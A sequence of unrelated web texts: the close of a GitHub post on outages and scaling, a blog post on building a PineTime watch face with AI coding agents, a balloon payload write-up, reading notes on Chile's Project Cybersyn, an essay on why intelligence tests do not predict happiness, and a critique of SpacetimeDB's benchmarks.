[image: Large dark-themed line chart titled ‘Growth in completed GitHub Actions runs’ shows a rising trend from early 2026 to August, with regular weekly dips and increasing peaks. Values grow from roughly 15–30M early in the year to over 100M, ending near 115.4M.]



Azure’s infrastructure and capacity have also accelerated our work to scale the largest monorepos. Our next milestone is an architecture that scales read capacity linearly with the number of readers, enabling unlimited read operations. We will roll it out gradually, beginning with the largest monorepos.




[image: Two dark-themed ‘Fetch Throughput History’ charts compare fetch operations per second over short time windows. Left chart fluctuates and plateaus around ~1,000 OPS/S before dropping near the end; right chart climbs steadily in steps to about ~1,800 OPS/S.]



Scale is not our only challenge. As the pace and complexity of change increased, our existing operational practices did not keep up. We have redirected teams and resources toward availability and invested in stronger testing, safer rollouts, better observability, and more effective alerting. We have made progress, but this work is not complete.




In addition, we are also isolating critical systems and removing shared dependencies between them. This work is designed to reduce the likelihood of an outage and limit its impact when one occurs.




We learn from every outage and add new work to our availability workstream. The August 6 and August 17 incidents led to two immediate changes. First, we are applying consistent retry limits, retry budgets, and variable timeouts across service-to-service interactions to prevent retry storms and cascading load. Second, we are reviewing lower-priority CPU and memory alerts to identify components that could fail during sudden traffic spikes.




Our commitment to high availability isn’t just a technical promise. The developer community depends on GitHub to build, ship, and operate their work. That is only possible if you can rely on us, and on August 17, you couldn’t. It is our responsibility to fix that. We’ll earn your trust through the scaling and reliability of the platform.


		
	
		Written by	

	
			
	
					
				[image: Vlad Fedorov]
			

				
					
				Vladimir Fedorov is GitHub's Chief Technology Officer, bringing decades of experience in engineering leadership and innovation. A passionate advocate for developer productivity, Vlad is leading GitHub’s engineering team to shape the future of developer tools and innovation with a developer-first mindset.

Before joining GitHub, Vlad co-founded UserClouds, a startup specializing in data governance and privacy. He spent 12 years at Facebook, now Meta, as Senior Vice President, leading engineering teams of over 2,000 across Privacy, Ads, and Platform. Earlier in his career, Vlad worked at Microsoft and earned both his BS and MS in Computer Science from Caltech. He currently serves on the board of Codepath.org, an organization dedicated to reprogramming higher education to create the first AI-native generation of engineers, CTOs, and founders.

Vlad lives in the Bay Area and when not working enjoys spending time outside and on the water with his family.
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    The Pine Time is a $27 smart watch that
runs open source firmware. I’ve had one sitting in the back of a drawer for a
year or two. When I saw @steveruizok’s Tweet
about hacking on ESP32 devices with Claude, I found some inspiration to pull my
PineTime out of the drawer and see what Claude might be capable of!



if you know what a "coding agent" is then go buy this or something very similar (not sponsored but they're on amazon, pi hut, ali, all over) pic.twitter.com/iPvHxBiltf
— Steve Ruiz (@steveruizok) July 25, 2026
 



I knew I wanted to start by building a watch face because the default watch
faces that come with the watch are pretty plain and boring. I’d also recently
seen @levelsio’s Tweet
about building a custom Casio watch face for is Apple Watch.




I wondered if I could build something similar for the PineTime (with a little
help from Claude).  As it turns out, the PineTime is a great watch for hacking
with Claude!



  	It’s cheap ($27).

  	It runs open source firmware (InfiniTime, or any other RTOS you want).

  	It’s very well-documented. Claude thrives on this.

  	It has a great simulator (InfiniSim). That gives Claude a fast feedback loop on your computer.

  	The firmware is simple, so you kind of need to add what you want.




Although I’ve been saying “Claude”, I actually did most of the work in OpenCode
with some of my favorite open weights models. Kimi K3 & K2.6, and DeepSeek v4
Pro & Flash. I started by cloning the
InfiniSim repo (which has a git
submodule for InfiniTime, and
asked Claude to get a build working. It was quick and easy on Ubuntu! Then I got
pretty ambitious: I gave Claude the photo from
@levelsio’s Tweet, and asked Claude to replicate the
watch face, copying the code from an existing InfiniTime watch face as a
starting point. And I asked it to orchestrate and use sub-agents as needed for
well-scoped development tasks.


It built a pretty good rough approximation, but it was very rough. It seemed
to just guess at text sizing and positioning, which led to things being sort of
in the right spot but overlapping each other and unreadable. Still, it was a
good starting point that we could iterate on. I think Fable would have probably
been able to finish the work and get it pixel-perfect without supervision, if I
gave it a feedback loop to screenshot the simulator. But since I was doing this
with open weight models on OpenCode, on a limited budget, I opted to save some
tokens by getting a little more involved myself, and gave it specific feedback
with isolated tasks and concrete next steps. I fixed one thing at a time –
getting each text element right before moving on to the next one.


I noticed we were spending a lot of effort trying to build some static parts of
the screen, and realized that might not be necessary. I wondered if I could just
make a fullscreen background image with all the static parts, so we only had to
program the dynamic parts of the screen. We tried this, and it worked on the
simulator! After installing the firmware on a real watch, I found that we were
pushing the limits of what this little watch was capable of. It took about 10
minutes to transfer the 240x240 image over bluetooth to install it on the
device, and it takes 1-2 seconds to refresh the whole screen when you swipe.
The watch can’t hold this whole image in memory at once; it has to stream it
from the file system. But that’s totally fine for a watch face I built in a
couple hours! I might come back at some point to build more of the background in
code, so it can update instantly. But for today, I’m happy with my working
prototype!


I pushed all my code up to
GitHub, and you’re welcome
to use it directly, or use it as a starting point for your own project if you
want. I also had Claude summarize the things we learned along the way into an
AGENTS.md.
That should help you get started quickly, and avoid some of the hurdles that I
ran into, if you want to try this with your own watch!


I loved working on this project with an AI! The low-stakes environment (not
production code at my day job) makes me feel like I can try whatever I want and
iterate quickly, and it’s really rewarding to work on firmware for a physical
device that I can hold and use when I’m done building it! I couple years ago
when I bought this PineTime, I ran out of time and motivation to learn how to
work in the InfiniTime codebase, and the watch sat in a drawer for a couple
years. But today, I was able to build a new watch face in a few hours, and had
fun doing it! The future is bright!
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https://arxiv.org/abs/2607.21763
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Since April, I have been working with Sam Flynn (https://drook.dev) to make this balloon payload, UpLink. We did a similar launch last year with Hack Club but this was our first independent launch.UpLink was a 491 gram payload testing the insulation properties of 3D printing filaments, while also transmitting 320x240 images over a radio link -- up from the 18x10 images last year!
This is a writeup on our engineering process, mistakes made, and learning experiences. It covers:
- Custom electronics designed in KiCad
- Firmware design
- Results from the data we received on the ground
- Image transmission
- Launch day logistics, and where things went wrong
All hardware, software, firmware, and CAD is available on GitHub: https://github.com/radeeyate/UpLink, licensed + certified as open source hardware: https://certification.oshwa.org/us002826.html
If you just want to see the images received, I put up a gallery here: https://uplink.gallery.radi8.dev/
If you have any questions, comments, or concerns, let me know. I'm happy to answer anything!


Original: https://radi8.dev/blog/uplink/ · Discussion
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Last update: 01 Aug 2026 00:32

First version: 30 January 2022



Initial notes, January 2022


An early attempt at using networked computers for economic management in
Allende's Chile, with the involvement of the
British cyberneticist Stafford Beer.  This has
something of a cult following among
contemporary socialists, in no small part, I
suspect, because of the period glamour of the photographs of the control room,
and because of the aura of righteous martyrdom given the fate of Allende and
his government.  Considering my interests in the possibilities and limits
of economic planning, however, what I want
to get very clear on are:


	 What the various participants (Beer, the various groups among the Chileans) hoped to achieve with Cybersyn;

	 What the system as implemented actually achieved; and

	 What a similar system might do with modern, or reasonably-foreseeable,
technology.




The main source on all this is Medina's book, which I need to actually
finish.  (Honestly it's been so long since I started it that I should just
re-read from scratch.)  But I should also try to see what's been done, in terms
of historical research, since her book.


Update, 18 October 2023


Attention
conservation notice: 1500+ words of book report.


Having just finished Medina's book (which seems to have no successors), and the
papers from the 1970s she cites as the technical sources, a few more notes.
(All page numbers are references to her book.)


Cybersyn was to have four main components:
    

    	 "Cybernet": A network of telex machines linking factories to the
         government agency that ran the nationalized sector of the economy
         (Corporación de Fomento de la Producción, CORFO), and
         thence to the one (!) mainframe computer available to the project.
         (My reference to networked computers, plural, in the opening
         paragraph to this notebook was thus dead wrong, though I think it's a
         common misunderstanding.)  The idea was that factories would send
         regular (ideally, daily) measurements of what we'd now call key
         performance indicators or metrics to the central computer, which would
         process them and communicate back to each factory what it had learned.
    
	 "Cyberstride": A central program running on that mainframe which was
         essentially doing anomaly
         / change-point detection on
         the time series coming in from the
         periphery .  This was basically implementing the method of Harrison
         and Stevens (1971), per Medina (p. 267n33).  As Dan Davies
         puts
         it, the content of the signals it output would have amounted to
         basically either "situation nominal" or "there's something up at the
         mill".
         
An important part of the design here was that when Cyberstride
         did raise a warning, it was supposed to go back to the
         relevant factory, which would get a chance to deal with the matter on
         its own, thus preserving a certain measure of firm-level autonomy.   
   
	 "CHECO": A simulation model of the Chilean macroeconomy, which was
        supposed to let policy-makers do what-if exercises.
   
	 The fabulous control room or operations room, which was supposed to
        display information from Cyberstride and CHECO to
        decision-makers. Medina says (pp. 121, 123) that the designers of the
        room swear up and down they weren't influenced by
        2001 or Star Trek or the like.  If that's
        true, the Chileans and the Hollywood set-designers must've both drawn
        drawn on some common sources for their visual style of The Future.
   



(Beer was also very taken with his thoughts about "algedonic"
[=pain-pleasure] meters which The People could twist back and forth to indicate
how satisfied or dis-satisfied they were, with a central read-out, but that
was, if not literally vaporware because a handful of prototypes were built,
then very clearly never going to be a thing.)


 I have listed the four parts in order of decreasing completion and
utility.
    

    	 The telex network was the only piece that seems to have been actually
         useful to the Allende administration --- and that not in the
         way intended.  In October 1972, the mostly-conservative,
         mostly-small-business-owner trucking industry staged a nation-wide
         strike against Allende.  The administration used the telex network to
         coordinate the trucks they had control, to try to keep the economy
         from completely grinding to a halt.  This coordination seems to have
         made no use at all of Cyberstride, or the control room, or any
         cybernetic principles.  The main advantage of the telex over phone
         calls was creating written records without the need for note-taking.
         (Telegrams would have worked as well!)  Some tertiary sources make it
         sound like the government broke the strike in this way.  In fact, as
         Medina makes clear, the strike ended with a political compromise,
         viz., Allende brought top generals into his cabinet, and otherwise
         temporarily appeased the conservatives, though without fully
         abandoning his program.  It does seem that the telex network
         bought the government more time and a better bargaining position than
         it would otherwise have had.
    
	 Cyberstride was eventually brought up and running, but the lag time
         between taking measurements, running them through the mainframe, and
         getting them back to decision makers was so long that it seems to have
         been a complete flop in its intended purpose of detecting
         problems early before they became serious --- let
         alone anticipating them before they became problems.  (Medina
         refers to efforts to get the telex machines to directly communicate
         with the mainframe running Cyberstride, but it's not clear to me if
         those ever succeeded; I/O in the early 1970s was hard!)  This, of
         course, did not help persuade busy, not to say frantic, factory
         managers to devote time and energy to feeding the system measurements
         early and often.  (I say "managers" because ordinary workers were
         uninvolved.)  It was, of course, an entirely centralized system in
         terms of computation.  (How could it not be, with only one computer?)
         Rhetoric to the contrary, it did nothing to de-centralize control, or
         to involve workers in participatory decision-making.  It also was in
         no sense a planning system, or any kind of replacement for
         market coordination.  When the system did warn of problems,
         it was up to managers and central bureaucrats to scramble to find
         solutions (e.g., alternative sources of supplies).  Figuring out what
         variables to measure for each factory was complicated, and involved
         sending trained engineers out to each plant and understanding what was
         going on there; this was not something workers had much to do with.
         (Beer talked a good game to the contrary on that last point, but it
         was just talk.)
         
I mentioned above that part of the original design was that when
         Cyberstride identified a problem at a plant, it was supposed to get
         some time to address it on its own, in order to preserve the autonomy
         of the enterprise.  As Medina explains, however, when problems were
         noticed, the staff running the system "alerted the affected
         enterprise, those in the central telex room in CORFO, and [Cybersyn
         project director Raul] Espejo in the CORFO informatics directorate ---
         all at the same time".  "Dismantling one of the primary safeguards of
         [enterprise] autonomy might have been as easy as having someone from
         the telex room walk down the hall".  (All these quotations are from
         pp. 183--184.)
    
	 CHECO produced some models, but at no point does Medina refer to any
         decision-maker actually consulting them.  From her description of the
         models, it would have been extremely hard to connect them to
         the kind of data coming in through the telex network.
    
	 The operations room also doesn't seem to have been much use.  The
         screens were not, in fact, hooked up to computers; they were for
         displaying slides.  "[I]t required some of Chile's best graphic
         designers to draw by hand every graph and chart the room displayed"
         (p. 125).  I'm sure it was nicer than a dingy conference room
         with an overhead transparency projector, but it wasn't actually any
         more capable.  Towards the end of his administration, in
         September 1973, Allende did ask to have the room moved to the
         presidential palace, but that seems to have been because he wanted
         closer access to the central node of the telex network (p. 206).
     



My assessment, based on all this, was that if the Allende government had, by
some miracle, survived (*), and Cybersyn had been built out as intended, what
would have resulted would've been an pioneering example of what we'd now call a
"dashboard", tracking time series of performance indicators and throwing alerts
to possible change-points in the series.  This can be a useful thing for
decision-makers, if the right stuff is being measured and
they have some ability to act on the information, but the politics of that of
course depends entirely on who has access to the information, who gets to make
decisions on the basis of the information, what kinds of decisions they get to
make, who they are accountable to for the results of their decisions, etc.,
etc.  For that matter it depends on the information being entered into the
system honestly in the first place, and not fudged to conceal problems, to
exaggerate distress, or to set easier goals for oneself.  (Medina doesn't
mention this issue at all, so it might not have occurred to anyone, but it
would have mattered if Cybersyn had actually become important.)  In any case,
as a replacement for market coordination, Cybersyn was simply a non-starter.
To describe it as a decentralized planning system is nonsense.


Nowadays, of course, the software would run easily on anyone's phone.  It'd
be easy to give each factory manager their own anomaly-detector, and the telex
network would be subsumed into the ordinary phone network.  Why you'd want
to share the information rather than having anomaly detection done
locally is, with modern technology, less clear --- presumably it'd be because
someone with access to all the local information could do some useful
aggregation, perhaps by assimilating it into a
macroeconomic model.  (For that to be useful you'd need a good macro
model, which are thin on the ground; maybe
an input-output model of
inter-plant/inter-industry linkages would be useful enough.)
You could run that central node out of a spiffy room, where the
screens could even be connected to computers.


I do not want to end on a dismissive note.  The people who worked on Project
Cybersyn tried to do something new and hard and worthwhile under difficult
conditions.  What they achieved was remarkable enough to need no exaggeration.




*: And I don't see how it could have, with its policies; if
the CIA and/or domestic reactionaries didn't overthrow them, the Communist
Party would have.  (Cf. Nove.)



Recommended (in order):
		Daniel \( D^2 \) Davies
		
			"Computers with ashtrays", Back of Mind, 26 July 2023
		
	"The statistical heart of the system", Back of Mind, 30 August 2023
		


	
	Eden
Medina, Cybernetic
Revolutionaries: Technology and Politics in Allende's Chile [In addition to my mini-review, see Alex Harrowell]
	
	Raul Espejo, "Cybersyn, big data, variety engineering and governance", AI and Society (2022) [End-of-career reflections by one of the Chilean project leaders]
	
	P. J. Harrison and C. F. Stevens, "A Bayesian Approach to Short-term Forecasting", Operational Research Quarterly 22 (1971): 341--362
	
	Alec Nove, "The Political Economy of the Allende Regime", pp. 51--78 in P. O'Brien (ed.), Allende's Chile (New York: Praeger, 1976),
reprinted on pp. 3--29 of Nove's Socialism, Economics and Development (London: Allen and Unwin, 1986)
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To read:
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	Cybernetics and Management
		
	Designing Freedom
		


	
	Sebastian Edwards, The Chile Project: The Story of the Chicago Boys and the Downfall of Neoliberalism [Interesting review in a somewhat-dodgy-looking magazine]
	
	Andrew Pickering, The Cybernetic Brain: Sketches of Another Future [Long chapter on Beer, which I presume covers this]
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Photo cred: my dad
Here’s a definition of intelligence that lots of psychologists can getbehind:
Intelligence is a very general mental capability that, among other things, involves the ability to reason, plan, solve problems, think abstractly, comprehend complex ideas, learn quickly and learn from experience. It is not merely book learning, a narrow academic skill, or test-taking smarts. Rather, it reflects a broader and deeper capability for comprehending our surroundings-“catching on,” “making sense” of things, or “figuring out” what to do […] Intelligence, so defined, can be measured, and intelligence tests measure it well.

Intelligence sounds pretty great. Who doesn’t want to “catch on” and “make sense”? Hell, “figuring out” what to do is pretty much all of life!
Naturally, people with more of this mental horsepower must live happier lives. When they encounter a problem, they should use their superior problem-solving ability to solve it. Smarter people should do a better job making plans and getting what they want, and they should learn more from their mistakes and subsequently make fewer of them. All of this should add up to a life that makes smart people go “this life rules!"
So smarter people are happier, right? 
Well, this meta-analysis says no. Another says maybe a teeny tiny bit. This large, nationally-representative study from the UK finds that people who score the lowest on an intelligence test are a little less happy than everyone else, but that’s pretty much it. 
I also pulled data from the General Social Survey, which includes (a) a short vocabulary test that seems to correlate reasonably well with longer intelligence tests (you can try it here), and (b) a simple measure of happiness: "Taken all together, how would you say things are these days—would you say that you are very happy, pretty happy, or not too happy?" Across 50 years of data and 30,346 people, the folks who scored higher on the vocab test were a tiny bit less happy (r = -.06, p < .001).
Maybe our tests are bad. The psychological study of intelligence has a long, bleak history of racism and prejudice against poor people (“three generations of imbeciles are enough”), so we should be skeptical coming in. Psychologists have been trying to construct bias-free tests for a long time, but it’shard. Plus, people score higher on IQ tests when you pay them for performance, so what looks like a test of intelligence may in part be a test of how hard you’re willing to try. 
But even if intelligence tests only measure something like “ability to succeed in an unfair society” or “willingness to try hard,” it only deepens the mystery. Shouldn’t those people end up with happier lives, however unfair that may be?
And the tests likely do tap something more than just privilege and effort. There’s plenty of skepticism toward intelligence tests in psychology, but even the biggest skeptics agree that IQ can predict things like how well you do in school and what kind of job you get, even accounting for all the criticisms. So why doesn’t it also predict living a life that you like?
I think there’s one guy to blame for this big mystery, and his name is Charles Spearman.
Way back in 1904, Spearman noticed something weird: the same kids who did well in one subject in school tended to do well in other subjects, too. The correlations were never perfect, of course, but they were pretty darn high, even across subjects that seemed pretty different from each other, like French and math. How come?
Spearman figured there must be some general mental ability that humans use to solve all kinds of problems. He later wrote:
This continued tendency to success of the same person throughout all variations of both form and subject-matter—that is to say throughout all conscious aspects of cognition whatever—appears only explicable by some factor lying deeper than the phenomena of consciousness.

Helpfully, he also drew us a picture:

Intelligence!
This is, I think, exactly where everything went wrong with the study of intelligence for the next 119 years. It’s not that Spearman’s results were inaccurate—in fact, they’ve been replicated over and over. At this point, pretty much every paper on intelligence has to start out like this review from 2006:
In the study of intelligence, one empirical phenomenon is well established: Test scores on cognitive tasks show a positive manifold, that is, they are invariably positively intercorrelated, albeit to varying degrees. This implies that people who score well on one cognitive test are likely to score well on other cognitive tests. The positive manifold is a robust phenomenon.

Spearman’s stats were sound, but his interpretation was wrong. He did not, as he claimed, observe a “continued tendency to success throughout all variations of both form and subject-matter,” nor has anybody else. It merely looks as if we’ve varied all the forms and the subject-matters because we have the wrong theory about what makes them different. 
We think tests of math, vocabulary, French, music, etc. are all different because some are about words and others are about numbers and others are about sounds. But psychology, like all sciences, is all about discovering the differences between seemingly similar things, and discovering the similarities between seemingly different things. If psychologists ever had to march into battle, a good candidate for our crests may be the famous Müller-Lyer illusion, the two lines that look like they’re different lengths but aren't:

It strikes fear into the hearts of the economists!
Just like those lines, I think all of our various tests of intelligence aren’t as different as they seem. They’re all full of problems that have a few important things in common:
	There are stable relationships between the variables.

	There’s no disagreement about whether the problems are problems, or whether they’ve been solved.

	There have clear boundaries; there is a finite amount of relevant information and possible actions.

	The problems are repeatable. Although the details may change, the process for solving the problems does not.


I think a good name for problems like these is well-defined. Well-defined problems can be very difficult, but they aren’t mystical. You can write down instructions for solving them. And you can put them on a test. In fact, standardized tests items must be well-defined problems, because they require indisputable answers. Matching a word to its synonym, finding the area of a trapezoid, putting pictures in the correct order—all common tasks on IQ tests—are well-defined problems.
Spearman was right that people differ in their ability to solve well-defined problems. But he was wrong that well-defined problems are the only kind of problems. “Why can’t I find someone to spend my life with?” “Should I be a dentist or a dancer?” and “How do I get my child to stop crying?” are all important but poorly defined problems. “How can we all get along?” is not a multiple-choice question. Neither is “What do I do when my parents get old?” And getting better at rotating shapes or remembering state capitals is not going to help you solve them.
We all share some blame with Spearman, of course, because everybody talks about smarts as if they’re one thing. Google “smartest people in the world” and most of the results will be physicists, mathematicians, computer scientists, and chess masters. These are all difficult problems, but they are well-defined, and that makes it easy to rank people. The best chess player in the world is the one who can beat everybody else. The best mathematician is the one who can solve the problems that nobody else could solve. That makes it seem like the best chess players and mathematicians are not just the smartest in their fields, but the smartest in the whole world.
There is, unfortunately no good word for “skill at solving poorly defined problems.” Insight, creativity, agency, self-knowledge—they’re all part of it, but not all of it. Wisdom comes the closest, but it suggests a certain fustiness and grandeur, and poorly defined problems aren’t just dramatic questions like “how do you live a good life”; they're also everyday questions like “how do you host a good party” and “how do you figure out what to do today." 
One way to spot people who are good at solving poorly defined problems is to look for people who feel good about their lives; “how do I live a life I like” is a humdinger of a poorly defined problem. The rules aren’t stable: what makes you happy may make me miserable. The boundaries aren’t clear: literally anything I do could make me more happy or less happy. The problems are not repeatable: what made me happy when I was 21 may not make me happy when I’m 31. Nobody else can be completely sure whether I’m happy or not, and sometimes I’m not even sure. In fact, some people might claim that I’m not really happy, no matter what I say, unless I accept Jesus into my heart or reach nirvana or fall in love—if I think I’m happy before all that, I’m simply mistaken about what happiness is!
This is why the people who score well on intelligence tests and win lots of chess games are no happier than the people who flunk the tests and lose at chess: well-defined and poorly defined problems require completely different problem-solving skills. Life ain’t chess! Nobody agrees on the rules, the pieces do whatever they want, and the board covers the whole globe, as well as the inside of your head and possibly several metaphysical planes as well.
Here’s another way of looking at it.
Say you want to test people’s math ability. You design a test, administer it to a bunch of people, do all your psychometrics, etc. You’re feeling pretty good about your math test. And then you find that some of the people who ace your test later say things like “two plus two is 19” and “88 is the biggest number.” You’d feel pretty embarrassed about your math test because it’s clearly not measuring mathematical ability, if it’s measuring anything at all.
This is exactly the situation we’re in with tests that claim to measure people’s “reasoning” and “problem-solving ability.” Christopher Langan, a guy who can score eye-popping numbers on IQ tests, believes that 9/11 was an inside job meant specifically to distract the public from his theories, and he claims that banks won’t give him a loan because he’s white. John Sununu supposedly has IQ of 176, but he still had to resign from being George H.W. Bush’s chief of staff because he flew to his dentist appointments using military jets. Bobby Fischer is one of the greatest chess players of all time, but he also claimed that Hitler was a good dude, the Holocaust didn’t happen, and "Jews murder Christian children for their blood and they’re doing it even today." Then there's the ever-lengthening list of professors at elite universities who have been disciplined or dismissed for doing things like sexually harassing colleagues and students or completely making up data or hanging out with a known pedophile. These are supposed to be some of the smartest people in the world, endowed with exceptional problem-solving abilities. And yet they’re still unable to solve basic but poorly defined problems like “maintain a basic grip on reality” and “be a good person” and “don't make any life-altering blunders.”
And here's another way of looking at it.
Over the last generation, we have solved tons of well-defined problems. We eradicated smallpox and polio. We landed on the moon. We built better cars, refrigerators, and televisions. We even got ~15 IQ points smarter! And how did our incredible success make us feel? 
Well:


All that progress didn’t make us a bit happier. I think there’s an important lesson here: if solving a bunch of well-defined problems did not make our predecessors happier, it probably won’t make us happier, either. The barrier between you and everlasting bliss is probably not the size of your television, nor your ability to solve Raven’s Progressive Matrices. 
(To be clear, I still think it’s good we did all this. Polio sucks and going to the moon is awesome.)
I wish we knew more about how to make that bright green line go up, but we just haven’t yet defined the problem of “living a happy life”. We know that if you’re starving, lonely, or in pain, you’ll probably get happier if you get food, friends, and relief. After that, the returns diminish very quickly. You could read all the positive psychology you want, take the online version of The Science of Wellbeing ("Yale’s Most Popular Course Ever!”), read my post on hacking the hedonic treadmill, meditate, exercise, and keep a gratitude journal—and after all that, maybe you’ll be a smidge happier. Whatever else you think will put a big, permanent smile on your face, you’re probably wrong.
So if you’re really looking for a transformative change in your happiness, you might be better off reading something ancient. The great thinkers of the distant past seemed obsessed with figuring out how to live good lives: Socrates, Plato, Aristotle, Epicurus, Buddha, Confucius, Jesus, Marcus Aurelius, St. Augustine, even up through Thoreau and Vivekananda. But at some point, this kind of stuff apparently fell out of fashion. 
And hey, maybe that’s because there’s just no more progress to make on the poorly defined problem of “how do we live." But most well-defined problems were once defined poorly. For example, “how do we land on the moon” was a hopelessly poorly defined problem for most of human history. It only makes sense if you know that the moon is a big rock you can land on and not, say, a god floating in the sky. We slowly put some definitions around that problem, and then one day we sent an actual dude to the moon and he walked around and was like “I’m on the moon now.” If we can do that, maybe we can also figure out how to live good lives. It certainly seems worth it to keep trying.
I’m not the first to propose that “general" intelligence is more than one thing. Pretty much as soon as Spearman started claiming that intelligence is mainly one thing, other people started saying that intelligence is actually many things. (That’s science, baby!) Today, the most popular version of this theory claims there’s something like  eight intelligences, ranging from “visual-spatial” to “bodily-kinesthetic.” I’m sympathetic to this take because it tries to account for all the different weird and wonderful things that humans can do. But it’s got two big problems. 
Problem #1: People very rarely try to find any evidence for it. And when they do, they find that the people who score high on one of the many intelligences tend to score high on the others, too, just as Spearman would’ve predicted a hundred years ago. 
Problem #2: When you label every human activity as its own intelligence, you give up any hope of understanding anything about the structure of problems in the world or how people solve them. We can make up whatever categories we want; they aren’t given by God. The only reason to use some categories and not others is that some categories are useful and others aren’t.
For instance, we could have created a periodic table that organized the elements alphabetically, or by color, or by how good they taste. Instead we organize them by atomic number, not because it's their “true” order, but because it’s useful. It helps us realize things like, “Hey, we’ve got a number 62 and a number 64—I wonder if there’s a number 63 out there. We should go looking for it."
So we should pick the way of categorizing intelligence that gives us the most bang for our buck. “Intelligence is many things” can’t explain why people perform similarly across supposedly different tests, and “intelligence is mostly one thing” can’t answer a basic question like "why smart people aren’t happier?” But we can handle both of those challenges when we split intelligence into skill at solving well-defined and poorly defined problems.
And that’s not all we can do.
People think of AI as a big glob of problem-solving ability. If you make the glob bigger, it can solve harder problems. That’s certainly been true so far: gigantic globs of AI can now drive cars, defeat our greatest chess players, and predict how proteins will fold. 
All this has happened very quickly, which may make it seem like we’re careening toward a “general” artificial intelligence that can do all the things humans can. But if you split problems into well-defined and poorly defined, you’ll notice that all of AI's progress has been on defined problems. That’s what artificial intelligence does. In order to get AI to solve a problem, we have to give it data to learn from, and picking that data requires defining the problem.
That doesn’t mean the problems AI has solved so far are stupid or trivial. They’re really important and interesting! They’re just all well-defined problems. And we should expect that pattern to continue: for any well-defined problem, AI will eventually outperform humans. But for poorly defined problems, AI is hopeless. To solve those, we need humans running around doing weird human stuff.
"What about GPT-3—it can write movie scripts! And what about DALLE-2—it can paint pictures!" These AIs perform a clever trick: they make it seem like they’re solving poorly defined problems when, under the hood, they’re really solving well-defined problems. GPT-3 doesn’t actually write movie scripts; it predicts what words should come next. DALLE-2 doesn’t actually paint pictures; it matches words to images. These problems aren’t easy to solve—that’s why you need such a big glob of AI. But they obey clear, unchanging rules, they have bright boundaries, and you know precisely when you’ve solved them. They are well-defined problems. (This is also why AI art isn’t art).
If you booted up a super-smart AI in ancient Greece, fed it all human knowledge, and asked it how to land on the moon, it would respond “You can’t land on the moon. The moon is a god floating in the sky.” How would you get it to realize the moon is actually a big rock? That’s a great, poorly defined problem, and I don’t expect AI to solve it anytime soon.
Here’s one last advantage of dividing intelligence into well-defined problem-solving and poorly defined problem-solving: it reminds us to give some respect where respect is due.
We’ve got no problem fawning over people who are good at solving well-defined problems. They get to be called “professor” and “doctor.” We pay them lots of money to teach us stuff. They get to join exclusive clubs like Mensa and the Prometheus Society. (By the way, Mensa’s page explaining IQ doesn’t mention anything about the dark history of using intelligence tests to hurt people, and you might expect a bunch of smarty-pantses to, you know, use their brains to discuss things with a bit more nuance. But what do I know, I’m just a big dummy.)
People who are good at solving poorly defined problems don't get the same kind of kudos. They don’t get any special titles or clubs. There is no test they can take that will spit out a big, honking number that will make everybody respect them.
And that’s a shame. My grandma does not know how to use the “input” button on her TV’s remote control, but she does know how to raise a family full of good people who love each other, how to carry on through a tragedy, and how to make the perfect pumpkin pie. We sometimes condescendingly refer to this kind of wisdom as “folksy” or “homespun,” as if answering multiple-choice questions is real intelligence, and living a good, full life is just some down-home, gee-whiz, cutesy thing that little old ladies do.
Excluding this kind of intelligence from our definitions doesn’t just hurt our grandmas—it hurts us too. If you don’t value the ability to solve poorly defined problems, you’ll never get more of it. You won’t seek out people who have that ability and try to learn from them, nor will you listen to them when they have something important to say. You’ll spend your whole life trying to solve problems with cleverness when what you really need is wisdom. And you’ll wonder why it never really seems to work. All of your optimizing, your straining to achieve and advance, your ruthless crusade to eliminate all of the well-defined problems from your life—it doesn’t actually seem make your life any better. 
If you’re stuck trying to solve poorly defined problems with your slick, well-defined problem-solving skills and you’re lucky enough to have a grandma like mine still on this Earth, my god, go see her. Shut up and listen to her for a while. And once you’ve learned something, maybe ask her if she needs help with her TV.
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The database market is harsh, particularly for newcomers. It’s very hard to launch a new product and differentiate yourself from the incumbents. Even harder to gain any long term traction. Earlier this week, SpacetimeDB launched version 2.0 of their database with a peculiar approach that —as far as I can tell— hasn’t been done before: a slightly surreal (meme-y) video where they mock their competitors (drinking “competitor’s tears”) and a set of benchmarks that seem too good to be true (they are, indeed, not true), and that also mock other databases. Look at the cute magnifying glass next to the big losers of that benchmark. You gotta zoom in to see how much they suck! Good stuff.
[image: Competitor tears! Ha ha!]
[image: These guys suck! Ha ha!]
I’ll be upfront and admit that I find this distasteful. But nonetheless, I think there are interesting ideas in this product, and I’d like to do a short technical review whilst being as fair as possible.
Benchmarks #
One common mistake newcomers to the database space make is believing that you can win by having “the best performance”. I’ve never seen this in practice. The (very few) companies that have built a sustainable database offering are winning by providing good, honest technical work that stands on its own. Of course, having benchmarks definitely helps with that. But then the benchmarks have to be good, honest technical work.
The ones that SpacetimeDB provided are none of those things. They have quite a few technical flaws in what they measure. You can see an alternate set of benchmarks here where SpacetimeDB stacks up very poorly against the competition.
Nonetheless, the big fundamental flaw in those benchmarks is that they’re not honest. And I get where they’re coming from, I do: they’re not honest because their database offering is something very different to the competition, and that makes it very enticing to write benchmarks like that. Their product is in a different segment of the database space, and they’re choosing to compare their product against databases that make different tradeoffs. It’s an appealing comparison, but it’s not a fair one.
I’ll give you an example of what this looks like, which I went through myself: a couple years ago I was working at PlanetScale and we shipped a MySQL extension for vector similarity search. We had some very specific goals for the implementation; it was very different from everything else out there because it was fully transactional, and the vector data was stored on disk, managed by MySQL’s buffer pools. This is in contrast to simpler approaches such as pgvector, that use HNSW and require the similarity graph to fit in memory. It was a very different product, with very different trade-offs. And it was immensely alluring to take an EC2 instance with 32GB of RAM and throw in 64GB of vector data into our database. Then do the same with a Postgres instance and pgvector. It’s the exact same machine, exact same dataset! It’s doing the same queries! But PlanetScale is doing tens of thousands per second and pgvector takes more than 3 seconds to finish a single query because the HNSW graph keeps being paged back and forth from disk.
It was indeed very alluring to show that in a benchmark. “We’re 10000 times faster than pgvector!”. But come on now. That’s not honest. Yes, it’s the same machine, the same dataset, and the same queries, but it’s not the same thing. We did not publish those benchmarks; instead we published a technical breakdown of the implementation, without unfair comparisons, which was very well received.
You don’t need “INSANE BENCHMARKS” to win at this. You just need solid technical work and solid technical writing explaining the trade-offs and limitations of your offering. You can see another example with Turbopuffer. Their benchmarks are not impressive, particularly when compared to their competitors. Their documentation has more lines discussing the things the database cannot do than the things it can do. But everyone knows that if your use case fits their offering, they have the best product for search in the market. Miles ahead of the competition. They don’t drink their competitors’ tears, they just quietly take their customers.
